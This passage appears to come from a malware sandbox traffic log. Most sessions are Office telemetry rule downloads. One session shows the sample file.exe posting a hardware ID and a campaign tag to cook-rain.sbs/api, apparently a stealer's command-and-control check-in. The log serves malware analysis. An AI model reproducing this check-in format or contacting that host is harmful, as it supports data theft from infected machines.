30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:30 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: c6b0c23f-801e-0048-738c-3af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001830Z-r1d97b995774zjnrhC1TEBv1ww0000000850000000000yv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:30 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:30 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001830Z-185f5d8b95crl6swhC1NYC3ueg00000009kg00000000gmpy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:30 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001830Z-185f5d8b95c4bhwphC1NYCs8gw00000009gg00000000ptsm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:31 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:31 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001831Z-1777c6cb7549j9hhhC1TEBzmcc00000008p000000000nzf3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:31 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:31 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001831Z-1777c6cb754gc8g6hC1TEB966c00000008wg000000003wb2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:31 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001831Z-1777c6cb754mqztshC1TEB4mkc00000008xg000000006sfq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:31 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:31 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001831Z-185f5d8b95c5lcmhhC1NYCsnsw00000009fg00000000n530 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:31 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:31 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001831Z-185f5d8b95c4bhwphC1NYCs8gw00000009ng000000007d1y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49764	188.114.96.3	443	4164	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:31 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JK79572E07FZRP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1237 Host: cook-rain.sbs
2024-11-20 00:18:31 UTC	1237	OUT	Data Raw: 2d 2d 4a 4b 37 39 35 37 32 45 30 37 46 5a 52 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 34 45 35 33 46 33 44 32 35 34 39 37 43 31 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 4a 4b 37 39 35 37 32 45 30 37 46 5a 52 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 4b 37 39 35 37 32 45 30 37 46 5a 52 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4a 4b Data Ascii: --JK79572E07FZRPContent-Disposition: form-data; name="hwid"24E53F3D25497C1763CFCF7E6C45F838--JK79572E07FZRPContent-Disposition: form-data; name="pid"1--JK79572E07FZRPContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--JK
2024-11-20 00:18:31 UTC	987	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lkvnhebu3md0h1se91c5hue49s; expires=Sat, 15-Mar-2025 18:05:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lEV%2BGPyIG6IvaJsl2RMk8yfs9VfmeIh%2BR67M%2BIHH2VMdgDXofvkiSzxVv%2FAaBaLYdYXa7ent%2BV2F8Al7uHazigYe2vjTBR40jYnOqRWuCa0CIWNOF4PPfpC%2Ftv0H1E0p"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5443631ba8424c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2257&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2147&delivery_rate=1289183&cwnd=215&unsent_bytes=0&cid=9c188de5f471daf5&ts=395&x=0"
2024-11-20 00:18:31 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 00:18:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:31 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:31 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001831Z-185f5d8b95crl6swhC1NYC3ueg00000009pg0000000050ez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:32 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:32 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:32 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001832Z-r1d97b99577jlrkbhC1TEBq8d00000000810000000005ns6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:32 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:32 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
